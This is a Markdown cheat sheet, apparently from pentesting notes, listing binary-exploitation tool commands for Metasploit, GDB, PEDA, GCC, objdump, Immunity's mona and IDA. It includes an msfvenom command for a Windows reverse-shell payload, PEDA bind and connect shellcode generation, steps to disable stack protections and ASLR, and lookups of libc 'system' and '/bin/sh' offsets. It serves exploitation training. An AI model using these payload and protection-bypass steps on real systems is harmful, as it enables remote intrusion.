166 lines
6.2 KiB
Markdown
166 lines
6.2 KiB
Markdown
|
# Exploiting Tools
|
||
|
|
|
||
|
|
## Metasploit
|
||
|
|
|
||
|
|
```text
|
||
|
|
pattern_create.rb -l 3000 #Length
|
||
|
|
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
|
||
|
|
nasm_shell.rb
|
||
|
|
nasm> jmp esp #Get opcodes
|
||
|
|
msfelfscan -j esi /opt/fusion/bin/level01
|
||
|
|
```
|
||
|
|
|
||
|
|
### Shellcodes
|
||
|
|
|
||
|
|
```text
|
||
|
|
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
|
||
|
|
```
|
||
|
|
|
||
|
|
## GDB
|
||
|
|
|
||
|
|
### Install:
|
||
|
|
|
||
|
|
apt-get install gdb
|
||
|
|
|
||
|
|
### Parameters:
|
||
|
|
|
||
|
|
**-q** --> No muestra mierda inicial al ejecutar gdb
|
||
|
|
**-x <file>** --> le pasas un archivo con instrucciones de gdb que ejecutará al inicio
|
||
|
|
**-p <pid>** --> Attach to process
|
||
|
|
|
||
|
|
#### Instructions
|
||
|
|
|
||
|
|
> **disassemble main** --> Dissasemble the function
|
||
|
|
> **disassemble 0x12345678**
|
||
|
|
> **set disassembly-flavor intel**
|
||
|
|
> **set follow-fork-mode child/parent** --> Follow created process
|
||
|
|
> **p system** --> Find the address of the system function
|
||
|
|
> **help**
|
||
|
|
> **quit**
|
||
|
|
|
||
|
|
> **br func** --> Add breakpoint to function
|
||
|
|
> **br \*func+23**
|
||
|
|
> **br \*0x12345678
|
||
|
|
> del NUM** --> Delete that number of br
|
||
|
|
> **watch EXPRESSION** --> Break if the value changes
|
||
|
|
|
||
|
|
**> run** --> Execute
|
||
|
|
**> start** --> Start and break in main
|
||
|
|
> **n/next** --> Execute next instruction \(no inside\)
|
||
|
|
> **s/step** --> Execute next instruction
|
||
|
|
> **c/continue** --> Continue until next breakpoint
|
||
|
|
|
||
|
|
> **set $eip = 0x12345678** --> Change value of $eip
|
||
|
|
> **info functions** --> Info abount functions
|
||
|
|
> **info functions func** --> Info of the funtion
|
||
|
|
> **info registers** --> Value of the registers
|
||
|
|
> **bt** --> Stack
|
||
|
|
> **bt full** --> Detailed stack
|
||
|
|
|
||
|
|
> **print variable**
|
||
|
|
> **print 0x87654321 - 0x12345678** --> Caculate
|
||
|
|
> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii
|
||
|
|
|
||
|
|
* **x/o 0xDir\_hex**
|
||
|
|
* **x/2x $eip** --> 2Words from EIP
|
||
|
|
* **x/2x $eip -4** --> $eip - 4
|
||
|
|
* **x/8xb $eip** --> 8 bytes \(b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes\)
|
||
|
|
* **i r eip** --> Value of $eip
|
||
|
|
* **x/w pointer** --> Value of the pointer
|
||
|
|
* **x/s pointer** --> String pointed by the pointer
|
||
|
|
* **x/xw &pointer** --> Address where the poiniter is located
|
||
|
|
* **x/i $eip** —> Instructions of the EIP
|
||
|
|
|
||
|
|
### Peda
|
||
|
|
|
||
|
|
**shellcode generate** x86/linux bindport 5555 127.0.0.1
|
||
|
|
**shellcode generate** x86/linux connect 5555 127.0.0.1
|
||
|
|
**checksec** --> Check protections
|
||
|
|
**searchmem /bin/sh** --> Find that string \(/bin/sh\) inside the memory
|
||
|
|
|
||
|
|
### GDB server
|
||
|
|
|
||
|
|
gdbserver --multi 0.0.0.0:23947 \(in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine\)
|
||
|
|
|
||
|
|
## GCC
|
||
|
|
|
||
|
|
**gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections
|
||
|
|
**-o** --> Output
|
||
|
|
**-g** --> Save code \(GDB will be able to see it\)
|
||
|
|
**echo 0 > /proc/sys/kernel/randomize\_va\_space** --> To deactivate the ASLR in linux
|
||
|
|
|
||
|
|
**To compile a shellcode:
|
||
|
|
nasm -f elf assembly.asm** --> return a ".o"
|
||
|
|
**ld assembly.o -o shellcodeout** --> Executable
|
||
|
|
|
||
|
|
## Objdump
|
||
|
|
|
||
|
|
**-d** --> Disassemble executable sections \(see opcodes of a compiled shellcode, find ROP Gadgets, find function address...\)
|
||
|
|
**-Mintel** --> Intel sintax
|
||
|
|
**-t** --> Symbols table \(grep varBSS to get the address\)
|
||
|
|
**-D** --> Disassemble all \(address of static variable\)
|
||
|
|
**-s -j .dtors** --> Contenido de dtors
|
||
|
|
**-s -j .got** --> Contenido de got
|
||
|
|
**-TR** --> Relocations
|
||
|
|
**ojdump -t --dynamic-relo ./exec \| grep puts** --> Address of "puts" to modify in GOT
|
||
|
|
**objdump -TR ./exec \| grep exit\(func lib\)** —> Get address of all the functions inside the GOT
|
||
|
|
|
||
|
|
## Core dumps
|
||
|
|
|
||
|
|
1. Run `ulimit -c unlimited` before starting my program
|
||
|
|
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
|
||
|
|
3. sudo gdb --core=<path/core> --quiet
|
||
|
|
|
||
|
|
## More
|
||
|
|
|
||
|
|
**ldd executable \| grep libc.so.6** --> Address \(if ASLR, then this change every time\)
|
||
|
|
**for i in \`seq 0 20\`; do ldd <Ejecutable> \| grep libc; done** --> Loop to see if the address changes a lot
|
||
|
|
**readelf -s /lib/i386-linux-gnu/libc.so.6 \| grep system** --> Offset of "system"
|
||
|
|
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 \| grep /bin/sh** --> Offset of "/bin/sh"
|
||
|
|
|
||
|
|
**strace executable** --> Functions called by the executable
|
||
|
|
**rabin2 -i ejecutable -->** Address of all the functions
|
||
|
|
|
||
|
|
**/usr/share/metasploit-framework/tools/exploit/pattern\_create.rb --length 1000
|
||
|
|
/usr/share/metasploit-framework/tools/exploit/pattern\_offset.rb --length 1000 --query 1Ad2**
|
||
|
|
|
||
|
|
## **Inmunity debugger**
|
||
|
|
|
||
|
|
```text
|
||
|
|
!mona modules #Get protections, look for all false except last one (Dll of SO)
|
||
|
|
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
|
||
|
|
```
|
||
|
|
|
||
|
|
## IDA
|
||
|
|
|
||
|
|
### Debugging in remote linux
|
||
|
|
|
||
|
|
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:
|
||
|
|
|
||
|
|
```text
|
||
|
|
./linux_server64 -Ppass
|
||
|
|
```
|
||
|
|
|
||
|
|
Then, configure the debugger: Debugger \(linux remote\) --> Proccess options...:
|
||
|
|
|
||
|
|
|
||
|
|
|
||
|
|
### **Delphi binaries**
|
||
|
|
|
||
|
|
I you have to reverse a Delphi binary I would suggest you tu use the IDA plugin [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)\*\*\*\*
|
||
|
|
|
||
|
|
Just press **ATL+f7** \(import python plugin in IDA\) and select the python plugin.
|
||
|
|
|
||
|
|
This plugin will execute the binary and resolve functoin names dynamically att the start of the debugging. After starting the debugging press again the Start button \(the green one or f9\) and a breakpoint will hit in the begining of the real code.
|
||
|
|
|
||
|
|
It is also very interesting because if you press a boton in the graphic application the debugger will stop in the function executed by that bottom.
|
||
|
|
|
||
|
|
### Golang binaries
|
||
|
|
|
||
|
|
I you have to reverse a Golang binary I would suggest you tu use the IDA plugin [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||
|
|
|
||
|
|
Just press **ATL+f7** \(import python plugin in IDA\) and select the python plugin.
|
||
|
|
|
||
|
|
This will resolve the names of the functions.
|
||
|
|
|